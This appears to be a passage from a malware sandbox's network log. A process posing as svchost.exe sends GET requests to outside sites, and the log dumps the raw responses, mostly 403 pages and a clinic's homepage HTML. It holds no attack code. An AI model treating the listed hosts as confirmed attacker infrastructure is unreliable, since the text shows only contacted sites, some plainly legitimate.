2023-07-27 19:53:36 UTC	78	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	50213	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:36 UTC	79	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-07-27 19:53:36 UTC	80	IN	HTTP/1.1 403 Forbidden Date: Thu, 27 Jul 2023 19:53:36 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 19:53:36 UTC	80	IN	Data Raw: 32 63 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 27 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 3c 2f 68 65 61 64 3e 3c 62 Data Ascii: 2c3<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8'></head><b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	50214	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:36 UTC	79	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co
2023-07-27 19:53:36 UTC	114	IN	HTTP/1.1 200 OK Date: Thu, 27 Jul 2023 19:53:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Set-Cookie: d55e479f054c94814cbc10d217aaa990=883b0e9a7a5e8f7be72fa52df7cb1301; path=/; HttpOnly Last-Modified: Thu, 27 Jul 2023 19:53:36 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=u7GzVJStr21OoezE173e3%2FxJNEQd%2FAA84n9Sh0rEGPMoV5%2FmFx2hVQUYXcb%2FSJbDEpvPdl48gbC%2Fe%2FHAgKRB9s5kzsaRZ6FDLQp%2F08w0Fwflo4r72EzA8%2FsrDFAQyIcjZBYmpRp21k8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7ed76df1cf6b2c7b-FRA alt-svc: h3=":443"; ma=86400
2023-07-27 19:53:36 UTC	115	IN	Data Raw: 37 63 34 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7c46<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-07-27 19:53:36 UTC	116	IN	Data Raw: 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 73 74 79 6c 65 73 2f 72 6f 6b 62 6f 78 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 6f 64 75 6c 65 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f Data Ascii: system/rokbox/assets/styles/rokbox.css" rel="stylesheet" /><link href="/modules/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/
2023-07-27 19:53:36 UTC	117	IN	Data Raw: 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 Data Ascii: core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins
2023-07-27 19:53:36 UTC	118	IN	Data Raw: 69 6e 74 73 68 69 76 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d Data Ascii: intshiv.min.js"></script> <link rel="stylesheet" href="/media/gantry5/engines/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--
2023-07-27 19:53:36 UTC	120	IN	Data Raw: 6f 72 69 7a 6f 6e 74 61 6c 2e 70 6e 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 Data Ascii: orizontal.png" alt="Clinica San Luis" /></a></div></div><div class="g-block size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g
2023-07-27 19:53:36 UTC	121	IN	Data Raw: 22 20 68 72 65 66 3d 22 23 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 73 70 61 6e 3e 42 61 63 6b 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 Data Ascii: " href="#" data-g-menuparent=""><span>Back</span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"><span class="g-menu-item-cont
2023-07-27 19:53:36 UTC	122	IN	Data Raw: 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 70 65 63 69 61 6c 69 64 61 64 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 Data Ascii: ntent"><span class="g-menu-item-title">Especialidades</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menu
2023-07-27 19:53:36 UTC	124	IN	Data Raw: 63 61 2f 70 6f 6c 69 74 69 63 61 73 2d 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 Data Ascii: ca/politicas-institucionales"><span class="g-menu-item-content"><span class="g-menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-item-container" h
2023-07-27 19:53:36 UTC	125	IN	Data Raw: 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 20 67 2d 69 6e 61 63 74 69 76 Data Ascii: iner" href="/index.php/nuestra-clinica/nuestros-pacientes"><span class="g-menu-item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul class="g-dropdown g-inactiv
2023-07-27 19:53:36 UTC	126	IN	Data Raw: 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 39 36 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 Data Ascii: em g-menu-item-type-component g-menu-item-396 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-menu-item-title">E
2023-07-27 19:53:36 UTC	128	IN	Data Raw: 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 53 49 43 4f 46 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d Data Ascii: s="g-menu-item-title">SICOF</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"><span class="g-m
2023-07-27 19:53:36 UTC	129	IN	Data Raw: 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 63 72 c3 ad 62 65 6e 6f 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 Data Ascii: ><span class="g-menu-item-title">Escrbenos</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-item-content"><span
2023-07-27 19:53:36 UTC	131	IN	Data Raw: 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f Data Ascii: ><li class="g-menu-item g-menu-item-type-component g-menu-item-385 "><a class="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span></a></li></ul></
2023-07-27 19:53:36 UTC	132	IN	Data Raw: 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6c 61 74 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 73 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 0d 0a 09 6f 70 61 63 69 74 79 3a Data Ascii: </div></div> </div><div class="platform-content"><div class="moduletable "><style>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0, 0.12);opacity:
2023-07-27 19:53:36 UTC	133	IN	Data Raw: 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 6f 70 65 6e 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 45 66 66 65 63 74 09 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 65 43 6c 69 63 6b 20 20 3a 20 66 61 6c 73 65 2c 0d 0a Data Ascii: elastic, fade or none openSpeed : 250, closeEffect: 'none', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,closeClick : false,
2023-07-27 19:53:36 UTC	135	IN	Data Raw: 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 09 0d 0a 7d 0d 0a 66 75 6e 63 74 69 6f 6e 20 68 69 64 65 73 74 75 66 66 28 62 6f 78 69 64 29 7b 0d 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 Data Ascii: e.display = "none";}function hidestuff(boxid){ document.getElementById(boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379"><p><a href="/index
